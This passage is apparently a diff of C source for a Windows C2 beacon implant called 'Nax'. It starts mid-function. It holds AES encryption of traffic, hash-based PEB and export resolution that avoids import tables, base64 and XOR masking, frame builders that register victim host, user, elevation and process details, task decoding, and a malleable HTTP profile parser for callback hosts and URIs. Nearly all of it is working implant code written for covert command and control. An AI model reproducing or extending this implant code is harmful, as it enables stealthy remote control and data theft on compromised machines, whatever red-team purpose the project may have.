(PUCHAR)cbc_val,
(ULONG)( 15 * sizeof( WCHAR ) ), 0 ) != 0 )
goto done;
if ( Nax->Bcrypt.BCryptGenerateSymmetricKey( hAlg, &hKey, NULL, 0,
Nax->Config.AesKey, NAX_AES_KEY, 0 ) != 0 )
goto done;
/* Copy IV so BCrypt can overwrite it in-place during encryption. */
BYTE iv_copy[NAX_AES_IV];
MmCopy( iv_copy, out, NAX_AES_IV );
ULONG bytes_done = 0;
if ( Nax->Bcrypt.BCryptEncrypt( hKey,
plain, plain_len,
NULL,
iv_copy, NAX_AES_IV,
out + NAX_AES_IV, pad_len,
&bytes_done,
BCRYPT_BLOCK_PADDING ) != 0 )
goto done;
*out_len = NAX_AES_IV + bytes_done;
rc = NAX_OK;
done:
if ( hKey )
Nax->Bcrypt.BCryptDestroyKey( hKey );
if ( hAlg )
Nax->Bcrypt.BCryptCloseAlgorithmProvider( hAlg, 0 );
return rc;
}
/* ========= [ decrypt: IV || ciphertext → plaintext ] ========= */
FUNC INT NaxDecrypt( PNAX_INSTANCE Nax,
const PBYTE in, UINT32 in_len,
PBYTE plain, UINT32* plain_len ) {
if ( in_len <= NAX_AES_IV )
return NAX_ERR_WIRE;
BCRYPT_ALG_HANDLE hAlg = NULL;
BCRYPT_KEY_HANDLE hKey = NULL;
INT rc = NAX_ERR_CRYPTO;
WCHAR aes_name[] = { 'A', 'E', 'S', '\0' };
WCHAR cbc_mode[] = { 'C', 'h', 'a', 'i', 'n', 'i', 'n', 'g', 'M', 'o', 'd', 'e', '\0' };
WCHAR cbc_val[] = { 'C', 'h', 'a', 'i', 'n', 'i', 'n', 'g', 'M', 'o', 'd', 'e', 'C', 'B', 'C', '\0' };
if ( Nax->Bcrypt.BCryptOpenAlgorithmProvider( &hAlg, aes_name, NULL, 0 ) != 0 )
goto done;
if ( Nax->Bcrypt.BCryptSetProperty( hAlg, cbc_mode,
(PUCHAR)cbc_val,
(ULONG)( 15 * sizeof( WCHAR ) ), 0 ) != 0 )
goto done;
if ( Nax->Bcrypt.BCryptGenerateSymmetricKey( hAlg, &hKey, NULL, 0,
Nax->Config.AesKey, NAX_AES_KEY, 0 ) != 0 )
goto done;
/* The first 16 bytes are the IV; the remainder is ciphertext. */
BYTE iv_copy[NAX_AES_IV];
MmCopy( iv_copy, in, NAX_AES_IV );
ULONG bytes_done = 0;
if ( Nax->Bcrypt.BCryptDecrypt( hKey,
in + NAX_AES_IV, in_len - NAX_AES_IV,
NULL,
iv_copy, NAX_AES_IV,
plain, *plain_len,
&bytes_done,
BCRYPT_BLOCK_PADDING ) != 0 )
goto done;
*plain_len = bytes_done;
rc = NAX_OK;
done:
if ( hKey )
Nax->Bcrypt.BCryptDestroyKey( hKey );
if ( hAlg )
Nax->Bcrypt.BCryptCloseAlgorithmProvider( hAlg, 0 );
return rc;
}
+65
View File
@@ -0,0 +1,65 @@
/* beacon/src/Core/Helpers.c
* Shared helper functions - deduplicated from per-module static copies.
* All PIC-safe (FUNC section placement, no CRT). */
#include "Nax.h"
/* ========= [ string length ] ========= */
FUNC UINT32 NaxStrLen( const PCHAR str ) {
UINT32 n = 0;
while ( str && str[n] ) n++;
return n;
}
FUNC UINT32 NaxWcharLen( const PWCHAR wstr ) {
UINT32 n = 0;
while ( wstr[n] ) n++;
return n;
}
/* ========= [ Win32 error writer ] ========= */
FUNC VOID NaxWriteWin32ErrCode( PBYTE out, UINT32* out_len, DWORD code ) {
if ( *out_len >= 4 ) {
out[0] = (BYTE)code;
out[1] = (BYTE)( code >> 8 );
out[2] = (BYTE)( code >> 16 );
out[3] = (BYTE)( code >> 24 );
*out_len = 4;
} else {
*out_len = 0;
}
}
/* ========= [ text append helpers ] ========= */
FUNC UINT32 NaxAppendStr( PCHAR dst, UINT32 off, UINT32 cap, const CHAR* src ) {
while ( *src && off < cap )
dst[off++] = *src++;
return off;
}
FUNC UINT32 NaxAppendWStr( PCHAR dst, UINT32 off, UINT32 cap, const WCHAR* src ) {
while ( *src && off < cap )
dst[off++] = (CHAR)*src++;
return off;
}
FUNC UINT32 NaxAppendInt( PCHAR dst, UINT32 off, UINT32 cap, UINT32 value ) {
CHAR tmp[12];
UINT32 len = NaxUToStr( value, tmp );
for ( UINT32 i = 0; i < len && off < cap; i++ )
dst[off++] = tmp[i];
return off;
}
FUNC UINT32 NaxAppendPtr( PCHAR dst, UINT32 off, UINT32 cap, UINT_PTR val ) {
static const char hex[] D_SEC( Bd ) = "0123456789abcdef";
if ( off + 2 >= cap ) return off;
dst[off++] = '0';
dst[off++] = 'x';
for ( INT i = ( sizeof( UINT_PTR ) * 2 ) - 1; i >= 0 && off < cap; i-- )
dst[off++] = hex[ ( val >> ( i * 4 ) ) & 0xF ];
return off;
}
+275
View File
@@ -0,0 +1,275 @@
/* beacon/src/Core/Ldr.c
* PEB walk: NaxGetModule (by name-hash) + NaxGetProc (by export-hash).
* PIC helpers: NaxHexEncode, NaxUToStr, NaxAsciiToWide.
* PEB accessors use NaxCurrentPeb() (Defs.h overlay) - cast from NtCurrentTeb()
* because MinGW cross-compile _PEB/_TEB hide most fields behind Reserved arrays. */
#include "Macros.h"
#include "Defs.h"
#include "Instance.h"
#include <winternl.h>
/* ========= [ PEB / TEB accessors ] ========= */
/* Returns PEB->Ldr cast to our NAX_PEB_LDR_DATA type.
* NAX_PEB_LDR_DATA exposes InLoadOrderModuleList which MinGW's simplified
* PEB_LDR_DATA does not; the cast is safe - layout is identical. */
FUNC PNAX_PEB_LDR_DATA NaxGetLdr( VOID ) {
return (PNAX_PEB_LDR_DATA)NaxCurrentPeb()->Ldr;
}
/* Process heap handle - used by NaxBootstrap before Nax is allocated. */
FUNC HANDLE NaxGetProcessHeap( VOID ) {
return (HANDLE)NaxCurrentPeb()->ProcessHeap;
}
/* ========= [ FNV1a-32 hash ] ========= */
/* Hash a narrow ASCII string uppercased. */
FUNC UINT32 NaxHashStr( const CHAR* str ) {
UINT32 hash = 0x811C9DC5u;
while ( *str ) {
CHAR c = *str++;
if ( c >= 'a' && c <= 'z' ) c -= 0x20;
hash ^= (UINT32)(BYTE)c;
hash *= 0x01000193u;
}
return hash;
}
/* Hash a wide (UTF-16LE) string via its low bytes uppercased. */
FUNC UINT32 NaxHashWStr( const WCHAR* str ) {
UINT32 hash = 0x811C9DC5u;
while ( *str ) {
CHAR c = (CHAR)( *str++ & 0xFF );
if ( c >= 'a' && c <= 'z' ) c -= 0x20;
hash ^= (UINT32)(BYTE)c;
hash *= 0x01000193u;
}
return hash;
}
/* ========= [ module lookup ] ========= */
/* Walk PEB InLoadOrderModuleList; return base of module whose name hashes to h. */
FUNC HMODULE NaxGetModule( UINT32 h ) {
PNAX_PEB_LDR_DATA ldr = NaxGetLdr();
PLIST_ENTRY head = &ldr->InLoadOrderModuleList;
PLIST_ENTRY cur = head->Flink;
while ( cur != head ) {
PNAX_LDR_ENTRY entry = CONTAINING_RECORD( cur, NAX_LDR_ENTRY, InLoadOrderLinks );
if ( entry->BaseDllName.Buffer != NULL ) {
if ( NaxHashWStr( entry->BaseDllName.Buffer ) == h )
return (HMODULE)entry->DllBase;
}
cur = cur->Flink;
}
return NULL;
}
/* ========= [ export lookup ] ========= */
/* Walk PE export table of `base`; return address of export whose name hashes to h.
* Forwarded exports ("ModuleName.FunctionName") are resolved recursively.
* Ordinal forwarding ("Module.#N") returns NULL - not implemented. */
FUNC PVOID NaxGetProc( HMODULE base, UINT32 h ) {
PBYTE b = B_PTR( base );
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)b;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)( b + dos->e_lfanew );
DWORD expRva = nt->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].VirtualAddress;
DWORD expSize = nt->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].Size;
if ( expRva == 0 ) return NULL;
PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)( b + expRva );
PDWORD names = (PDWORD)( b + exp->AddressOfNames );
PWORD ords = (PWORD)( b + exp->AddressOfNameOrdinals );
PDWORD funcs = (PDWORD)( b + exp->AddressOfFunctions );
for ( DWORD i = 0; i < exp->NumberOfNames; i++ ) {
CHAR* name = (CHAR*)( b + names[ i ] );
if ( NaxHashStr( name ) != h ) continue;
PVOID addr = C_PTR( b + funcs[ ords[ i ] ] );
/* forwarded export - "ModuleName.FunctionName" string inside exp dir */
if ( (PBYTE)addr >= (PBYTE)exp && (PBYTE)addr < (PBYTE)exp + expSize ) {
PCHAR fwd = (PCHAR)addr;
PCHAR dot = fwd;
WCHAR modW[ 64 ] = { 0 };
INT pfxLen = 0;
while ( *dot && *dot != '.' ) dot++;
if ( ! *dot ) return NULL;
pfxLen = (INT)( dot - fwd );
if ( pfxLen <= 0 || pfxLen > 59 ) return NULL;
if ( *( dot + 1 ) == '#' ) return NULL;
for ( INT j = 0; j < pfxLen; j++ ) modW[ j ] = (WCHAR)(BYTE)fwd[ j ];
modW[ pfxLen ] = L'.';
modW[ pfxLen + 1 ] = L'd';
modW[ pfxLen + 2 ] = L'l';
modW[ pfxLen + 3 ] = L'l';
modW[ pfxLen + 4 ] = L'\0';
HMODULE fwdMod = NaxGetModule( NaxHashWStr( modW ) );
if ( ! fwdMod ) return NULL;
return NaxGetProc( fwdMod, NaxHashStr( dot + 1 ) );
}
return addr;
}
return NULL;
}
/* ========= [ PIC-safe helpers ] ========= */
/* Hex-encode `len` bytes of `src` into `dst` (no CRT, no static tables). */
FUNC VOID NaxHexEncode( const PBYTE src, UINT32 len, PCHAR dst ) {
for ( UINT32 i = 0; i < len; i++ ) {
BYTE hi = ( src[i] >> 4 ) & 0x0Fu;
BYTE lo = src[i] & 0x0Fu;
dst[2*i] = hi < 10 ? '0' + hi : 'a' + hi - 10;
dst[2*i+1] = lo < 10 ? '0' + lo : 'a' + lo - 10;
}
dst[2 * len] = '\0';
}
/* Write unsigned decimal of `val` into `buf` (not NUL-terminated). Returns byte count. */
FUNC UINT32 NaxUToStr( UINT32 val, PCHAR buf ) {
CHAR tmp[12];
UINT32 i = 0, j = 0;
if ( val == 0 ) { buf[0] = '0'; return 1; }
while ( val > 0 ) { tmp[i++] = '0' + (CHAR)( val % 10 ); val /= 10; }
while ( i > 0 ) { buf[j++] = tmp[--i]; }
return j;
}
/* ASCII-to-wide copy (no CRT). Writes at most `cap-1` wchars + NUL. */
FUNC VOID NaxAsciiToWide( const PCHAR src, PWCHAR dst, UINT32 cap ) {
UINT32 i = 0;
while ( src[i] && i < cap - 1 ) { dst[i] = (WCHAR)(BYTE)src[i]; i++; }
dst[i] = L'\0';
}
/* ========= [ base64 encode ] ========= */
FUNC UINT32 NaxBase64Encode( const PBYTE src, UINT32 src_len, PCHAR dst, UINT32 dst_cap ) {
CHAR tbl[] = {
'A','B','C','D','E','F','G','H','I','J','K','L','M',
'N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
'a','b','c','d','e','f','g','h','i','j','k','l','m',
'n','o','p','q','r','s','t','u','v','w','x','y','z',
'0','1','2','3','4','5','6','7','8','9','+','/' };
UINT32 out_len = 4 * ( ( src_len + 2 ) / 3 );
if ( dst_cap < out_len + 1 ) return 0;
UINT32 i = 0, j = 0;
while ( i < src_len ) {
UINT32 a = i < src_len ? (BYTE)src[ i++ ] : 0;
UINT32 b = i < src_len ? (BYTE)src[ i++ ] : 0;
UINT32 c = i < src_len ? (BYTE)src[ i++ ] : 0;
UINT32 triple = ( a << 16 ) | ( b << 8 ) | c;
dst[ j++ ] = tbl[ ( triple >> 18 ) & 0x3F ];
dst[ j++ ] = tbl[ ( triple >> 12 ) & 0x3F ];
dst[ j++ ] = tbl[ ( triple >> 6 ) & 0x3F ];
dst[ j++ ] = tbl[ triple & 0x3F ];
}
UINT32 pad = ( 3 - src_len % 3 ) % 3;
for ( UINT32 p = 0; p < pad; p++ )
dst[ out_len - 1 - p ] = '=';
dst[ out_len ] = '\0';
return out_len;
}
/* ========= [ base64url encode ] ========= */
FUNC UINT32 NaxBase64UrlEncode( const PBYTE src, UINT32 src_len, PCHAR dst, UINT32 dst_cap ) {
UINT32 n = NaxBase64Encode( src, src_len, dst, dst_cap );
for ( UINT32 i = 0; i < n; i++ ) {
if ( dst[i] == '+' ) dst[i] = '-';
else if ( dst[i] == '/' ) dst[i] = '_';
else if ( dst[i] == '=' ) { n = i; dst[i] = '\0'; break; }
}
return n;
}
/* ========= [ base64 decode ] ========= */
FUNC INT NaxB64Val( CHAR c ) {
if ( c >= 'A' && c <= 'Z' ) return c - 'A';
if ( c >= 'a' && c <= 'z' ) return c - 'a' + 26;
if ( c >= '0' && c <= '9' ) return c - '0' + 52;
if ( c == '+' || c == '-' ) return 62;
if ( c == '/' || c == '_' ) return 63;
return -1;
}
FUNC UINT32 NaxBase64Decode( const PCHAR src, UINT32 src_len, PBYTE dst, UINT32 dst_cap ) {
UINT32 di = 0;
UINT32 si = 0;
while ( si < src_len && di < dst_cap ) {
INT a = -1, b = -1, c = -1, d = -1;
while ( si < src_len && a < 0 ) a = NaxB64Val( src[si++] );
while ( si < src_len && b < 0 ) b = NaxB64Val( src[si++] );
if ( a < 0 || b < 0 ) break;
dst[di++] = (BYTE)( ( a << 2 ) | ( b >> 4 ) );
while ( si < src_len && src[si] == '=' ) si++;
if ( si >= src_len ) break;
c = NaxB64Val( src[si++] );
if ( c < 0 ) break;
if ( di < dst_cap ) dst[di++] = (BYTE)( ( ( b & 0x0F ) << 4 ) | ( c >> 2 ) );
while ( si < src_len && src[si] == '=' ) si++;
if ( si >= src_len ) break;
d = NaxB64Val( src[si++] );
if ( d < 0 ) break;
if ( di < dst_cap ) dst[di++] = (BYTE)( ( ( c & 0x03 ) << 6 ) | d );
}
return di;
}
/* ========= [ hex decode ] ========= */
FUNC INT NaxHexNibble( CHAR c ) {
if ( c >= '0' && c <= '9' ) return c - '0';
if ( c >= 'a' && c <= 'f' ) return c - 'a' + 10;
if ( c >= 'A' && c <= 'F' ) return c - 'A' + 10;
return -1;
}
FUNC UINT32 NaxHexDecode( const PCHAR src, UINT32 src_len, PBYTE dst, UINT32 dst_cap ) {
UINT32 di = 0;
for ( UINT32 i = 0; i + 1 < src_len && di < dst_cap; i += 2 ) {
INT hi = NaxHexNibble( src[i] );
INT lo = NaxHexNibble( src[i + 1] );
if ( hi < 0 || lo < 0 ) break;
dst[di++] = (BYTE)( ( hi << 4 ) | lo );
}
return di;
}
/* ========= [ XOR mask/unmask ] ========= */
FUNC UINT32 NaxXorMask( PNAX_INSTANCE Nax, const PBYTE src, UINT32 src_len, PBYTE dst, UINT32 dst_cap ) {
if ( dst_cap < src_len + 4 ) return 0;
BYTE key[4];
Nax->Bcrypt.BCryptGenRandom( NULL, key, 4, BCRYPT_USE_SYSTEM_PREFERRED_RNG );
MmCopy( dst, key, 4 );
for ( UINT32 i = 0; i < src_len; i++ )
dst[4 + i] = src[i] ^ key[i % 4];
return src_len + 4;
}
FUNC UINT32 NaxXorUnmask( const PBYTE src, UINT32 src_len, PBYTE dst, UINT32 dst_cap ) {
if ( src_len < 4 ) return 0;
UINT32 data_len = src_len - 4;
if ( dst_cap < data_len ) return 0;
PBYTE key = src;
for ( UINT32 i = 0; i < data_len; i++ )
dst[i] = src[4 + i] ^ key[i % 4];
return data_len;
}
+171
View File
@@ -0,0 +1,171 @@
/* beacon/src/Core/Packer.c
* Wire-v0 frame encode / decode. PIC port of agent/src/packer.c.
* No CRT: uses MmCopy(__builtin_memcpy). Callers supply string lengths. */
#include "Macros.h"
#include "Wire.h"
#include "Instance.h"
/* ========= [ LE write helpers ] ========= */
FUNC VOID NaxW16( PBYTE p, UINT16 v ) {
p[0] = (BYTE)( v & 0xFFu );
p[1] = (BYTE)( ( v >> 8 ) & 0xFFu );
}
FUNC VOID NaxW32( PBYTE p, UINT32 v ) {
p[0] = (BYTE)( v & 0xFFu );
p[1] = (BYTE)( ( v >> 8 ) & 0xFFu );
p[2] = (BYTE)( ( v >> 16 ) & 0xFFu );
p[3] = (BYTE)( ( v >> 24 ) & 0xFFu );
}
FUNC UINT16 NaxR16( const PBYTE p ) {
return (UINT16)p[0] | ( (UINT16)p[1] << 8 );
}
FUNC UINT32 NaxR32( const PBYTE p ) {
return (UINT32)p[0] | ( (UINT32)p[1] << 8 ) | ( (UINT32)p[2] << 16 ) | ( (UINT32)p[3] << 24 );
}
/* ========= [ frame encode ] ========= */
FUNC INT NaxFrameEncode( BYTE msg_type,
const PBYTE body, UINT32 body_len,
PBYTE out, UINT32* out_len ) {
if ( *out_len < NAX_FRAME_HDR + body_len )
return NAX_ERR_NOMEM;
out[0] = msg_type;
out[1] = 0;
NaxW32( out + 2, body_len );
if ( body_len > 0 && body != NULL )
MmCopy( out + NAX_FRAME_HDR, body, body_len );
*out_len = NAX_FRAME_HDR + body_len;
return NAX_OK;
}
/* ========= [ frame decode ] ========= */
FUNC INT NaxFrameDecode( const PBYTE frame, UINT32 frame_len,
BYTE* msg_type, PBYTE* body,
UINT32* body_len ) {
if ( frame_len < NAX_FRAME_HDR )
return NAX_ERR_WIRE;
UINT32 bl = NaxR32( frame + 2 );
if ( NAX_FRAME_HDR + bl > frame_len )
return NAX_ERR_WIRE;
if ( msg_type )
*msg_type = frame[0];
if ( body )
*body = (PBYTE)frame + NAX_FRAME_HDR;
if ( body_len )
*body_len = bl;
return NAX_OK;
}
/* ========= [ REGISTER body ] ========= */
/* Builds REGISTER body (no outer frame header).
* hn/un/ip/dom/proc are UTF-8 strings with explicit lengths. */
FUNC INT NaxBuildRegBody( const PCHAR hn, UINT32 hn_len,
const PCHAR un, UINT32 un_len,
BYTE arch,
UINT32 pid,
UINT32 sleep_ms,
UINT32 tid,
const PCHAR ip, UINT32 ip_len,
const PCHAR dom, UINT32 dom_len,
const PCHAR proc, UINT32 proc_len,
BYTE elevated,
UINT32 os_major,
UINT32 os_minor,
UINT16 os_build,
UINT32 parent_pid,
UINT32 acp,
UINT32 oem_cp,
const PCHAR img, UINT32 img_len,
PBYTE out, UINT32* out_len ) {
UINT32 needed = 2 + hn_len + 2 + un_len + 1 + 4 + 4 + 4 +
2 + ip_len + 2 + dom_len + 2 + proc_len +
1 + 4 + 4 + 2 + 4 + 4 + 4 + 2 + img_len;
if ( *out_len < needed ) return NAX_ERR_NOMEM;
PBYTE p = out;
NaxW16( p, (UINT16)hn_len ); p += 2; MmCopy( p, hn, hn_len ); p += hn_len;
NaxW16( p, (UINT16)un_len ); p += 2; MmCopy( p, un, un_len ); p += un_len;
*p++ = arch;
NaxW32( p, pid ); p += 4;
NaxW32( p, sleep_ms ); p += 4;
NaxW32( p, tid ); p += 4;
NaxW16( p, (UINT16)ip_len ); p += 2; MmCopy( p, ip, ip_len ); p += ip_len;
NaxW16( p, (UINT16)dom_len ); p += 2; MmCopy( p, dom, dom_len ); p += dom_len;
NaxW16( p, (UINT16)proc_len ); p += 2;
if ( proc_len > 0 ) MmCopy( p, proc, proc_len );
p += proc_len;
*p++ = elevated;
NaxW32( p, os_major ); p += 4;
NaxW32( p, os_minor ); p += 4;
NaxW16( p, os_build ); p += 2;
NaxW32( p, parent_pid ); p += 4;
NaxW32( p, acp ); p += 4;
NaxW32( p, oem_cp ); p += 4;
NaxW16( p, (UINT16)img_len ); p += 2;
if ( img_len > 0 ) MmCopy( p, img, img_len );
p += img_len;
*out_len = needed;
return NAX_OK;
}
/* ========= [ HEARTBEAT frame ] ========= */
FUNC INT NaxBuildHeartbeat( PBYTE out, UINT32* out_len ) {
return NaxFrameEncode( NAX_WIRE_HEARTBEAT, NULL, 0, out, out_len );
}
/* ========= [ TASK body decode ] ========= */
FUNC INT NaxDecodeTask( const PBYTE body, UINT32 body_len, NAX_TASK* t ) {
/* TASK body: task_id(4) + cmd_id(1) + args_len(4) + args(n) = min 9 */
if ( body_len < 9 )
return NAX_ERR_WIRE;
t->TaskId = NaxR32( body );
t->CmdId = body[4];
t->ArgsLen = NaxR32( body + 5 );
if ( 9u + t->ArgsLen > body_len )
return NAX_ERR_WIRE;
t->Args = ( t->ArgsLen > 0 ) ? (PBYTE)body + 9 : NULL;
return NAX_OK;
}
/* ========= [ RESULT frame ] ========= */
FUNC INT NaxBuildResult( UINT32 task_id,
BYTE status,
const PBYTE data, UINT32 data_len,
PBYTE out, UINT32* out_len ) {
if ( data_len > 0 && data == NULL )
return NAX_ERR_INVAL;
UINT32 body_len = 4 + 1 + 4 + data_len;
UINT32 needed = NAX_FRAME_HDR + body_len;
if ( *out_len < needed )
return NAX_ERR_NOMEM;
out[0] = NAX_WIRE_RESULT;
out[1] = 0;
NaxW32( out + 2, body_len );
PBYTE p = out + NAX_FRAME_HDR;
NaxW32( p, task_id );
p += 4;
*p++ = status;
NaxW32( p, data_len );
p += 4;
if ( data_len > 0 )
MmCopy( p, data, data_len );
*out_len = needed;
return NAX_OK;
}
+330
View File
@@ -0,0 +1,330 @@
/* beacon/src/Core/PackerProfile.c
* PROFILE v1/v2 wire format decoder. Splits from Packer.c for readability.
* Uses NaxR16 / NaxR32 from Packer.c via forward declarations. */
#include "Nax.h"
/* ========= [ PROFILE body decode helpers ] ========= */
/* Reads a length-prefixed string (len:uint16LE + bytes) from `data` at `*off`.
* Copies up to `cap-1` bytes into `dst`, NUL-terminates. Advances `*off`. */
FUNC INT NaxReadLpStr( const PBYTE data, UINT32 data_len, UINT32* off, PCHAR dst, UINT32 cap ) {
if ( *off + 2 > data_len ) return NAX_ERR_WIRE;
UINT16 slen = NaxR16( data + *off );
*off += 2;
if ( *off + slen > data_len ) return NAX_ERR_WIRE;
UINT32 cpy = slen < cap - 1 ? slen : cap - 1;
MmCopy( dst, data + *off, cpy );
dst[ cpy ] = '\0';
*off += slen;
return NAX_OK;
}
/* Skips a length-prefixed string without copying content. */
FUNC INT NaxSkipLpStr( const PBYTE data, UINT32 data_len, UINT32* off ) {
if ( *off + 2 > data_len ) return NAX_ERR_WIRE;
UINT16 slen = NaxR16( data + *off );
*off += 2 + slen;
if ( *off > data_len ) return NAX_ERR_WIRE;
return NAX_OK;
}
/* Reads one OutputConfig block from the wire binary.
* Wire layout: format(1) + mask(1) + placement(1) + name(lpstr)
* + prepend(lpstr) + append(lpstr) + empty_resp(lpstr) */
FUNC INT NaxReadOutputCfg( const PBYTE data, UINT32 data_len, UINT32* off, NAX_OUTPUT_CFG* cfg ) {
if ( *off + 3 > data_len ) return NAX_ERR_WIRE;
cfg->Format = data[ *off ]; *off += 1;
cfg->Mask = data[ *off ]; *off += 1;
cfg->Placement = data[ *off ]; *off += 1;
INT rc;
rc = NaxReadLpStr( data, data_len, off, cfg->Name, 128 );
if ( rc != NAX_OK ) return rc;
UINT32 before;
UINT16 slen;
before = *off;
rc = NaxReadLpStr( data, data_len, off, cfg->Prepend, 512 );
if ( rc != NAX_OK ) return rc;
slen = ( before + 2 <= data_len ) ? NaxR16( data + before ) : 0;
cfg->PrependLen = slen < 511 ? slen : 511;
before = *off;
rc = NaxReadLpStr( data, data_len, off, cfg->Append, 512 );
if ( rc != NAX_OK ) return rc;
slen = ( before + 2 <= data_len ) ? NaxR16( data + before ) : 0;
cfg->AppendLen = slen < 511 ? slen : 511;
before = *off;
rc = NaxReadLpStr( data, data_len, off, cfg->EmptyResp, 512 );
if ( rc != NAX_OK ) return rc;
slen = ( before + 2 <= data_len ) ? NaxR16( data + before ) : 0;
cfg->EmptyRespLen = slen < 511 ? slen : 511;
return NAX_OK;
}
/* --------- [ v2 profile parser ] --------- */
/* Decode PROFILE v2 frame body into NAX_CONFIG fields.
* V2 wire format (all LE):
* version(1) + rotation(1)
* user_agent: lpstr
* beacon_id_hdr: lpstr
* host_count(2) [lpstr]...
* server_error: err_status(2) + err_body(lpstr) + err_hdr_count(2) + [lpstr]...
* GET block:
* uri_count(2) [lpstr]...
* client_meta: OutputConfig
* client_hdr_count(2) [lpstr]...
* client_param_count(2) [lpstr]...
* server_output: OutputConfig
* server_hdr_count(2) [lpstr]... (skipped)
* POST block:
* uri_count(2) [lpstr]...
* client_meta: OutputConfig
* client_output: OutputConfig
* client_hdr_count(2) [lpstr]...
* server_output: OutputConfig
* server_hdr_count(2) [lpstr]... (skipped)
*
* Falls back to v1 flat format when version != 0x02. */
FUNC INT NaxDecodeProfile( const PBYTE data, UINT32 data_len, PNAX_INSTANCE Nax ) {
UINT32 off = 0;
INT rc;
UINT16 itemCount;
UINT16 i;
if ( data_len < 2 ) return NAX_ERR_WIRE;
BYTE first = data[ off ]; off += 1;
if ( first == 0x02 ) {
/* ========= v2 format ========= */
Nax->Config.ProfileVersion = 2;
Nax->Config.Rotation = data[ off ]; off += 1;
/* User-Agent */
rc = NaxReadLpStr( data, data_len, &off, Nax->Config.UserAgent, 256 );
if ( rc != NAX_OK ) return rc;
/* Beacon ID header name */
rc = NaxReadLpStr( data, data_len, &off, Nax->Config.BeaconIdHdr, 128 );
if ( rc != NAX_OK ) return rc;
/* Callback hosts */
if ( off + 2 > data_len ) return NAX_ERR_WIRE;
itemCount = NaxR16( data + off ); off += 2;
if ( itemCount > 4 ) itemCount = 4;
Nax->Config.HostCount = (BYTE)itemCount;
for ( i = 0; i < itemCount; i++ ) {
rc = NaxReadLpStr( data, data_len, &off, Nax->Config.Hosts[ i ], 128 );
if ( rc != NAX_OK ) return rc;
}
/* Server error block - beacon doesn't use, skip entirely */
/* err_status(2) */
if ( off + 2 > data_len ) return NAX_ERR_WIRE;
off += 2;
/* err_body(lpstr) */
rc = NaxSkipLpStr( data, data_len, &off );
if ( rc != NAX_OK ) return rc;
/* err_hdr_count(2) + [lpstr]... */
if ( off + 2 > data_len ) return NAX_ERR_WIRE;
itemCount = NaxR16( data + off ); off += 2;
for ( i = 0; i < itemCount; i++ ) {
rc = NaxSkipLpStr( data, data_len, &off );
if ( rc != NAX_OK ) return rc;
}
/* --------- GET block --------- */
/* GET URIs */
if ( off + 2 > data_len ) return NAX_ERR_WIRE;
itemCount = NaxR16( data + off ); off += 2;
if ( itemCount > 8 ) itemCount = 8;
Nax->Config.GetUriCount = (BYTE)itemCount;
for ( i = 0; i < itemCount; i++ ) {
rc = NaxReadLpStr( data, data_len, &off, Nax->Config.GetUris[ i ], 128 );
if ( rc != NAX_OK ) return rc;
}
/* GET client metadata OutputConfig */
rc = NaxReadOutputCfg( data, data_len, &off, &Nax->Config.GetClientMeta );
if ( rc != NAX_OK ) return rc;
/* GET client headers */
if ( off + 2 > data_len ) return NAX_ERR_WIRE;
itemCount = NaxR16( data + off ); off += 2;
if ( itemCount > 8 ) itemCount = 8;
Nax->Config.GetClientHdrCount = (BYTE)itemCount;
for ( i = 0; i < itemCount; i++ ) {
rc = NaxReadLpStr( data, data_len, &off, Nax->Config.GetClientHdrs[ i ], 256 );
if ( rc != NAX_OK ) return rc;
}
/* GET client parameters */
if ( off + 2 > data_len ) return NAX_ERR_WIRE;
itemCount = NaxR16( data + off ); off += 2;
if ( itemCount > 8 ) itemCount = 8;
Nax->Config.GetClientParamCount = (BYTE)itemCount;
for ( i = 0; i < itemCount; i++ ) {
rc = NaxReadLpStr( data, data_len, &off, Nax->Config.GetClientParams[ i ], 128 );
if ( rc != NAX_OK ) return rc;
}
/* GET server output OutputConfig */
rc = NaxReadOutputCfg( data, data_len, &off, &Nax->Config.GetServerOutput );
if ( rc != NAX_OK ) return rc;
/* GET server headers - beacon doesn't need, skip */
if ( off + 2 > data_len ) return NAX_ERR_WIRE;
itemCount = NaxR16( data + off ); off += 2;
for ( i = 0; i < itemCount; i++ ) {
rc = NaxSkipLpStr( data, data_len, &off );
if ( rc != NAX_OK ) return rc;
}
/* --------- POST block --------- */
/* POST URIs */
if ( off + 2 > data_len ) return NAX_ERR_WIRE;
itemCount = NaxR16( data + off ); off += 2;
if ( itemCount > 8 ) itemCount = 8;
Nax->Config.PostUriCount = (BYTE)itemCount;
for ( i = 0; i < itemCount; i++ ) {
rc = NaxReadLpStr( data, data_len, &off, Nax->Config.PostUris[ i ], 128 );
if ( rc != NAX_OK ) return rc;
}
/* POST client metadata OutputConfig */
rc = NaxReadOutputCfg( data, data_len, &off, &Nax->Config.PostClientMeta );
if ( rc != NAX_OK ) return rc;
/* POST client output OutputConfig */
rc = NaxReadOutputCfg( data, data_len, &off, &Nax->Config.PostClientOutput );
if ( rc != NAX_OK ) return rc;
/* POST client headers */
if ( off + 2 > data_len ) return NAX_ERR_WIRE;
itemCount = NaxR16( data + off ); off += 2;
if ( itemCount > 8 ) itemCount = 8;
Nax->Config.PostClientHdrCount = (BYTE)itemCount;
for ( i = 0; i < itemCount; i++ ) {
rc = NaxReadLpStr( data, data_len, &off, Nax->Config.PostClientHdrs[ i ], 256 );
if ( rc != NAX_OK ) return rc;
}
/* POST server output OutputConfig */
rc = NaxReadOutputCfg( data, data_len, &off, &Nax->Config.PostServerOutput );
if ( rc != NAX_OK ) return rc;
/* POST server headers - beacon doesn't need, skip */
if ( off + 2 > data_len ) return NAX_ERR_WIRE;
itemCount = NaxR16( data + off ); off += 2;
for ( i = 0; i < itemCount; i++ ) {
rc = NaxSkipLpStr( data, data_len, &off );
if ( rc != NAX_OK ) return rc;
}
} else {
/* ========= v1 fallback ========= */
/* In v1 there is no version byte - first byte was rotation */
Nax->Config.ProfileVersion = 1;
Nax->Config.Rotation = first;
/* GET URIs */
if ( off + 2 > data_len ) return NAX_ERR_WIRE;
itemCount = NaxR16( data + off ); off += 2;
if ( itemCount > 8 ) itemCount = 8;
Nax->Config.GetUriCount = (BYTE)itemCount;
for ( i = 0; i < itemCount; i++ ) {
rc = NaxReadLpStr( data, data_len, &off, Nax->Config.GetUris[ i ], 128 );
